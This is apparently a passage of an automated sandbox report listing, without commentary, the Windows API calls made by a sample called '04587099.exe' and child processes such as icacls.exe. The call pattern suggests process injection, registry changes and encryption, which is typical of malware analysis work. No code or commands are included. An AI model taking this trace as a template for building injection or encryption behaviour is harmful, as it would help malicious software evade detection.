"NtRequestWaitReplyPort" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtCreateUserProcess" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtOpenProcessToken" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "LdrUnloadDll" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryLicenseValue" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtWriteVirtualMemory" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtReadVirtualMemory" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtSetContextThread" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtSetInformationThread" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtTerminateProcess" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "RtlGetVersion" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "RtlGetNtProductType" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "CreateProcessA" (PID: 5124) (UID: 00000000-00005124) "04587099.exe" called "NtQueryInformationToken" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSetInformationKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryInformationFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtEnumerateKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtEnumerateValueKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtProtectVirtualMemory" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenThread" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtResumeThread" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryAttributesFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateSection" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtMapViewOfSection" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSetInformationProcess" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "LdrLoadDll" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "LoadLibrary" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "LdrGetDllHandle" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryVirtualMemory" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "GetProcAddress" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryInformationProcess" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenSection" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryLicenseValue" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenThreadToken" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenProcessToken" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenEvent" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQuerySystemInformation" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateEvent" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenDirectoryObject" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtAlpcSendWaitReceivePort" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtAlpcConnectPort" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSetInformationThread" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtNotifyChangeKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenProcess" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "LdrUnloadDll" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtDeviceIoControlFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenKeyEx" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryValueKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "RpcStringBindingComposeW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueueApcThread" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtDelayExecution" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtAlpcConnectPortEx" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateMutant" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSetValueKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateKeyEx" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtUnmapViewOfSection" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtWaitForMultipleObjects" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryObject" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateThreadEx" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtReadFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtWriteFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSetInformationFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSuspendThread" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtGetContextThread" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "BCryptEncrypt" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "BCryptDecrypt" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtReadVirtualMemory" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtSetSecurityObject" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtFsControlFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtCreateUserProcess" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtWriteVirtualMemory" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtConnectPort" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQueryKey" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtOpenMutant" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "RpcServerUseProtseqEpW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtQuerySystemTime" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "NtTerminateProcess" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "RtlGetNtProductType" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "RtlGetVersion" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "InternetOpenA" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "InternetOpenW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "InternetReadFile" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "CreateDirectoryW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "CopyFileW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "CreateProcessW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "GetComputerNameW" (PID: 6576) (UID: 00000000-00006576) "04587099.exe" called "GetForegroundWindow" (PID: 6576) (UID: 00000000-00006576) "icacls.exe" called "NtQueryInformationToken" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenKeyEx" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryValueKey" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenFile" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtSetInformationKey" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryInformationFile" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtEnumerateKey" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryKey" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtEnumerateValueKey" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtProtectVirtualMemory" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenThread" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtResumeThread" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryAttributesFile" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtCreateSection" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtMapViewOfSection" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryVolumeInformationFile" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenSection" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtAllocateVirtualMemory" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtSetInformationProcess" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "LdrLoadDll" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryInformationProcess" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQuerySystemInformation" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtUnmapViewOfSection" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "LdrGetDllHandle" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtCreateEvent" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtNotifyChangeKey" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenThreadToken" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenProcessToken" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenDirectoryObject" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtOpenEvent" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryVirtualMemory" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "LoadLibrary" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtSuspendThread" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtGetContextThread" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "GetProcAddress" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "RpcStringBindingComposeW" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtAlpcConnectPortEx" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtAlpcSendWaitReceivePort" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtQueryObject" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtSetSecurityObject" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtSetInformationThread" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "LdrUnloadDll" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "NtTerminateProcess" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "CreateToolhelp32Snapshot" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "RtlGetNtProductType" (PID: 7112) (UID: 00000000-00007112) "icacls.exe" called "LookupAccountSidW" (PID: 7112) (UID: 00000000-00007112) "04587099.exe" called "NtQueryInformationToken" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtOpenKeyEx" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryValueKey" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtOpenFile" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtSetInformationKey" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryKey" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryInformationFile" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtEnumerateKey" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtEnumerateValueKey" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtProtectVirtualMemory" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtOpenThread" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtResumeThread" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryAttributesFile" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtCreateSection" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtMapViewOfSection" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtOpenSection" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtSetInformationProcess" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryInformationProcess" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "LdrGetDllHandle" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQuerySystemInformation" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "LdrLoadDll" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "LoadLibrary" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryVirtualMemory" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtUnmapViewOfSection" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtSuspendThread" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtGetContextThread" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "GetProcAddress" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtConnectPort" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtCreateUserProcess" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtOpenProcessToken" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "LdrUnloadDll" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryLicenseValue" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtWriteVirtualMemory" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtReadVirtualMemory" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtSetContextThread" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtSetInformationThread" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtTerminateProcess" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "RtlGetVersion" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "RtlGetNtProductType" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "CreateProcessA" (PID: 5616) (UID: 00000000-00005616) "04587099.exe" called "NtQueryInformationToken" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenKeyEx" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryValueKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtSetInformationKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryInformationFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtEnumerateKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtEnumerateValueKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtProtectVirtualMemory" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenThread" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtResumeThread" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryAttributesFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateSection" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtSetInformationProcess" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "LdrLoadDll" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "LoadLibrary" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "LdrGetDllHandle" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryVirtualMemory" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "GetProcAddress" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryInformationProcess" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenSection" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtMapViewOfSection" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryLicenseValue" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenThreadToken" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenProcessToken" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenEvent" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQuerySystemInformation" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateEvent" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenDirectoryObject" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "RpcStringBindingComposeW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtAlpcConnectPortEx" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtAlpcSendWaitReceivePort" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtAlpcConnectPort" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtSetInformationThread" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtNotifyChangeKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtOpenProcess" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "LdrUnloadDll" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtDeviceIoControlFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueueApcThread" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtDelayExecution" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateMutant" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtWaitForMultipleObjects" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateKeyEx" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtQueryObject" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtSetValueKey" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateThreadEx" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtUnmapViewOfSection" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtSuspendThread" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtGetContextThread" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "BCryptEncrypt" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "BCryptDecrypt" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtWriteFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtSetInformationFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtReadVirtualMemory" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtConnectPort" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "CryptAcquireContextW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "CryptHashData" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtCreateUserProcess" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "NtTerminateProcess" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "RtlGetNtProductType" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "RtlGetVersion" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "InternetOpenA" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "InternetOpenW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "InternetReadFile" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "GetComputerNameW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "OpenSCManagerW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "OpenServiceW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "CreateDirectoryA" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "GetAdaptersInfo" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "GetUserNameW" (PID: 6344) (UID: 00000000-00006344) "04587099.exe" called "CreateDirectoryW" (PID: 6344) (UID: 00000000-00006344) "WerFault.exe" called "NtTerminateProcess" (PID: 6448) (UID: 00000000-00006448) "WerFault.exe" called "NtTerminateProcess" (PID: 6372) (UID: 00000000-00006372) "04587099.exe" called "NtQueryInformationToken" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtOpenKeyEx" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryValueKey" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtOpenFile" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtSetInformationKey" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryInformationFile" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtEnumerateKey" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryKey" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtEnumerateValueKey" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtProtectVirtualMemory" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtOpenThread" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtResumeThread" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryAttributesFile" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtCreateSection" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtMapViewOfSection" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtOpenSection" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtSetInformationProcess" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "LdrGetDllHandle" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryInformationProcess" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQuerySystemInformation" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "LdrLoadDll" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "LoadLibrary" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryVirtualMemory" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtUnmapViewOfSection" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtSuspendThread" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtGetContextThread" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "GetProcAddress" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtConnectPort" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtRequestWaitReplyPort" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtCreateUserProcess" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtOpenProcessToken" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "LdrUnloadDll" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryLicenseValue" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtWriteVirtualMemory" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtReadVirtualMemory" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtSetContextThread" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtSetInformationThread" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtTerminateProcess" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "RtlGetVersion" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "CreateToolhelp32Snapshot" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "RtlGetNtProductType" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "CreateProcessA" (PID: 4268) (UID: 00000000-00004268) "04587099.exe" called "NtQueryInformationToken" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenKeyEx" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryValueKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtSetInformationKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryInformationFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtEnumerateKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtEnumerateValueKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtProtectVirtualMemory" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenThread" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtResumeThread" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryAttributesFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtCreateSection" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtMapViewOfSection" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryVolumeInformationFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtSetInformationProcess" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "LdrLoadDll" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "LoadLibrary" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "LdrGetDllHandle" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryVirtualMemory" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "GetProcAddress" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtAllocateVirtualMemory" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryInformationProcess" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenSection" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryLicenseValue" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenThreadToken" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenProcessToken" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenEvent" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQuerySystemInformation" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtCreateEvent" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenDirectoryObject" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "RpcStringBindingComposeW" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtAlpcConnectPortEx" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtAlpcSendWaitReceivePort" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtAlpcConnectPort" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtSetInformationThread" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtNotifyChangeKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtOpenProcess" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "LdrUnloadDll" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtDeviceIoControlFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueueApcThread" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtDelayExecution" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtCreateMutant" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtCreateFile" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtWaitForMultipleObjects" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtCreateKeyEx" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtQueryObject" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtSetValueKey" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtUnmapViewOfSection" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtCreateThreadEx" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtSuspendThread" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "NtGetContextThread" (PID: 7000) (UID: 00000000-00007000) "04587099.exe" called "BCryptEncrypt" (PID: 7000) (UID: 